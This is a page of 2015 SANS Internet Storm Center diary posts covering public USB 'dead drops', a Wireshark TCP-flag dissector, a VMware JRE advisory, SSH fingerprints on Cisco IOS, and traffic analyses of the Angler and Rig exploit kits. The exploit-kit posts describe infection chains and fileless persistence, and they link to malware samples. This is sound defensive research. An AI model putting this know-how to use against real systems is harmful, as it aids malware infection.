Research Operations Manager,
SANS Internet Storm Center
/in/alexstanford

3 Comments

Published: 2015-04-06

'Dead Drops' Hidden USB Sticks Around the World

We received this article from Joe an ISC contributor about USB sticks hidden in various places around the world such as walls, padlocks, etc. where anyone can connect to them using a laptop. The article indicates that for the moment the only thing on it is "[...] a readme.txt file explaining how the project works." [2] However, I think I would be a bit paranoid not knowing if something "darker" might be loaded on these USB sticks placed in public places. I can think of a key logger collecting and reporting your data, banking Trojan, tracking software, etc.

My question is, have you seen some of these USB sticks and would you access such a device if you see one?

[1] https://deaddrops.com/
[2] http://boredomtherapy.com/hidden-usb-treasure-hunt/

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

6 Comments

Published: 2015-04-05

Wireshark TCP Flags

When I took SEC503 last year in Brussels, taught by Jess Garcia, he remarked that he missed Snort's TCP flag representation in Wireshark.

Lua dissectors are a great way to enhance Wireshark, so I wrote a dissector that adds Snort-style TCP flags:

When you install the dissector, it adds a tcpflags.flags field, which you can add as a column ("Apply as Column").

You can download the dissector here. One way to install Lua dissectors is to copy them in the plugins folder. In the Wireshark menu, go to Help / About / Folders to locate your plugin folders.

 

0 Comments

Published: 2015-04-04

VMware Product Updates Address Critical Information Disclosure Issue In JRE

VMSA-2015-0003

Oracle JRE is updated in VMware products to address a critical security issue that existed in earlier releases of Oracle JRE.

VMware products running JRE 1.7 Update 75 or newer and JRE 1.6 Update 91 or newer are not vulnerable to CVE-2014-6593, as documented in the Oracle Java SE Critical Patch Update Advisory of January 2015.

2 Comments

Published: 2015-04-03

SSH Fingerprints Are Important

Some years ago, I was preparing Cisco certification exams. I connected via SSH to a new Cisco router, and was presented with this familiar dialog:


This made me think: before proceeding, I wanted to obtain the fingerprint out-of-band, via a trusted channel, so that I could verify it. So I took a console cable, logged on via the serial console, and … then I started to wonder what IOS command to type? A couple of hours later spend with Google, I was no closer to a solution. I could not find an IOS command to display the SSH fingerprint.

I found forum posts advising to connect via a crossover cable and write the presented SSH fingerprint down, but that’s not what I wanted. I had to work out my own solution.

There’s an IOS command to dump your public key: show crypto key mypubkey rsa

If you take the modulus and exponent of your public key, arrange them in another format (ssh-rsa) and calculate the MD5 hash, then you obtain the fingerprint.


Of course, I could not resist writing a Python program for that :-)

You can find it here.

If you know a Cisco IOS command to obtain the SSH fingerprint key directly, then please post a comment.

Update: on Cisco IOS versions released after I researched this, the "show ip ssh" command now displays the public key in ssh-rsa format (tested on 15.1(4)M3):

SSH Enabled - version 2.0
Authentication timeout: 120 secs; Authentication retries: 3
Minimum expected Diffie Hellman key size : 1024 bits
IOS Keys in SECSH format(ssh-rsa, base64 encoded):
ssh-rsa AAAAB3NzaC1yc2EAA.....

If you decode the base64 encoded ssh-rsa data, and calculate the MD5, you obtain the fingerprint.

3 Comments

Published: 2015-04-02

Angler Exploit Kit - Recent Traffic Patterns

Angler exploit kit (EK) has changed URL patterns (again) during the past month.  I infected a Windows host so we can take a closer look.  Let's see what Angler has been up to.  First, here are the Angler EK URL patterns noted in traffic from an infected host:

The domains and URLs change frequently, and I saw several different URL patterns while using different Windows hosts to get a full infection chain.  Below is an image of the landing page URL:

Further down in the HTML, you can see some of the obfuscated code designed to set off an infection chain of events.

Next, Angler EK sends a Flash exploit:

And finally, we have the HTTP GET request Angler EK used to send the malware payload:

The malware payload is encrypted.  As early as August 2014, Angler EK has been using a “file-less” infection method, so it won’t write this payload to the disk [1].

However, artifacts are left behind after the infection.  Why?  The infected host needs to keep the malware persistent on the system after a reboot.  Below are some of the files, directories, and registry keys used to keep the malware persistent on this infected host:

The persistent malware is usually named after a legitimate system file, in this case: dhcpcsv.dll

You can find a copy of this malicious file at: https://malwr.com/analysis/ZjIxOTViNjM2N2YzNGQ1YWI1NzNlYjkzZjI0ZTEyMjQ/

What about traffic from the infected host?  Below is a screenshot of the Angler EK and post-infection traffic from Wireshark:

Using Security Onion to monitor the infection traffic, you’ll find alerts typical for Angler EK followed by Bedep.  Microsoft has an entry in the company’s threat encyclopedia that describes Bedep, and it matches the patterns seen during today’s infection traffic [2].

I have a similar example of this Angler/Bedep traffic from 2015-04-01 available at: http://malware-traffic-analysis.net/2015/04/01/index.html

Keep monitoring your networks.  Compromised websites are everywhere, and this type of traffic happens more often than you think!
---
Brad Duncan, Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References:

[1] http://malware.dontneedcoffee.com/2014/08/angler-ek-now-capable-of-fileless.html
[2] http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32/Bedep#tab=2

1 Comments

Published: 2015-04-01

Rig Exploit Kit Changes Traffic Patterns

Sometime within the past month, Rig exploit kit (EK) changed URL structure.  Below is an example of Rig EK with its previous traffic patterns from February 2015:

Notice the PHPSSESID and ?req= patterns in the above example.  Below is a more recent example of Rig EK from March 31 2015:

Now, we don't see the PHPSSESID and ?req= patterns.  Let’s take a closer look at the more recent example of Rig EK.  Below is the HTTP GET request for the landing page:

The data is gzip compressed, so you have to extract the file to see what it looks like.  Below is the HTML for the first part of this Rig EK landing page:

Below is the HTTP GET request for the Flash exploit sent by the exploit kit:

Finally, the exploit kit sends the malware payload.  It’s encrypted, and the only indication this is an executable file is the Content-Type tag indicated in the image below:

A copy of the decrypted malware payload can be found at: https://malwr.com/analysis/NzIwYjgwYTcyODhiNGUwNGIxOTRjMzllNjkwMGViMzc/

The malware payload didn’t do anything on the VM, so I ran it through a malware analysis tool and got the following traffic:

Keep in mind malware payloads differ among the criminal organizations that rent these exploit kits, and the payload can also change from day-to-day.

I haven't heard too much yet about this recent change in URL patterns for Rig EK, but it's certainly happening.

---
Brad Duncan, Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

2 Comments